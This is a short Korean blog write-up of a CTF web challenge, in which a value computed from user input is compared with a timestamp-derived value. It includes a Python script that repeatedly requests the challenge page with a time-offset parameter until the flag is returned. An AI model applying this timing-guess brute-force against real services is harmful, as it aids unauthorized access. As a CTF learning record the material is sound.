인풋을 통해 생성된 값이랑 임의의 값을 비교한다. 이 때 두 값이 같아야 한다. 인풋을 통해 생성된 값은 인풋*0x1000을 통해 생성된다. 비교대상 값같은 경우 timestamp값을 통해 생성된 값이다.


이 때 timestamp의 소수점 하위 4번째까지 계산되는데 정수부분은 인풋 * 0x1000로 계산하면 결과 값이 딱 떨어졌는데 소수점 부분은 *0x1000했을때 결과 값에 오차가 있었다. 그래서 대충 최대한 오차범위 줄여서 반복요청해주니 플래그가 나왔다.


exploit.py


import time

import requests


def exploit():

    url = "http://chall.tasteless.eu/level12/lucky.php"

    param = {"emit":time.time()-5.071}

    result = requests.get(url,params=param).text

    if "flag is" in result:

        print result

        exit()

    return result.replace("<br />VAR b is ",",").replace("<br />","").replace("VAR a is ","").split(",")


for i in range(0,1000):

    result = exploit()

    tmp =  int("0x"+result[0],16)-int("0x"+result[1],16)

    print tmp

    if tmp==0:

        print "find count = " + str(i)

        break


블로그 이미지

JeonYoungSin

메모 기록용 공간

,